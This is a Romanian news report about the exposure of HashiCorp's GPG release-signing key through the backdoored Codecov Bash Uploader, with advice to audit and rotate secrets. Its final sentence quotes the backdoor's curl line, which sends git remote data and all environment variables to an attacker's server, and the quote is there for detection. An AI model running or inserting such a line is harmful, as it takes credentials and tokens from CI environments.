Compania HashiCorp, cunoscută pentru dezvoltarea instrumentelor open-source Vagrant, Packer, Nomad și Terraform, a anunțat că un secret GPG-key, folosit pentru a crea semnături digitale ce verifică lansările, a fost expus. Atacatorii care au avut acces la cheia GPG au putut, potențial, să facă modificări ascunse în produsele HashiCorp, certificându-le cu o semnătură digitală corectă. Totuși, compania a afirmat că în urma unui audit, nu au fost identificate urme ale tentativelor de modificare a acestor produse.
În prezent, cheia GPG compromisă a fost revocată și un nou cheie a fost introdusă. Problema a afectat doar verificarea prin fișierele SHA256SUM și SHA256SUM.sig, și nu a atins generarea semnăturilor digitale pentru pachetele Linux DEB și RPM, furnizate prin releases.hashicorp.com, precum și mecanismele de confirmare pentru lansările de macOS și Windows (AuthentiCode).
Scurgerea a avut loc din cauza utilizării în infrastructură a scriptului Codecov Bash Uploader (codecov-bash), destinat încărcării rapoartelor de acoperire din sistemele de integrare continuă. În urma unui atac asupra companiei Codecov, a fost implantat un backdoor ascuns în acest script, prin care a fost organizată trimiterea parolelor și cheilor de criptare către serverul atacatori.
Pentru a efectua atacul, atacatorii au folosit o vulnerabilitate în procesul de creare a imaginii Docker Codecov, care permitea extragerea datelor de acces la GCS (Google Cloud Storage), necesare pentru a efectua modificări în scriptul Bash Uploader, distribuit de pe site-ul codecov.io. Modificările au fost efectuate încă din 31 ianuarie, rămânând neobservate timp de două luni și permițând atacatorilor să extragă informații stocate în mediile sistemelor de integrare continuă ale clienților. Prin intermediul codului malițios adăugat, atacatorii au putut obține informații despre repository-ul Git testat și toate variabilele de mediu, inclusiv token-uri, chei de criptare și parole, transmise în sistemele de integrare continuă pentru a organiza accesul la codul aplicațiilor, stocuri și servicii precum Amazon Web Services și GitHub.
Pe lângă apelurile directe, scriptul Codecov Bash Uploader a fost utilizat în cadrul altor uploader-e, cum ar fi Codecov-action (Github), Codecov-circleci-orb și Codecov-bitrise-step, utilizatorii cărora se confruntă de asemenea cu această problemă. Toți utilizatorii codecov-bash și ai produselor asociate sunt sfătuiți să efectueze un audit al infrastructurii lor și să schimbe parolele și cheile de criptare. Verificarea prezenței unui backdoor în script poate fi realizată căutând următoarea linie curl -sm 0.5 -d «$(git remote -v)<<<< ENV $(env)» http:///upload/v2 || true
Sursa: opennet.ro
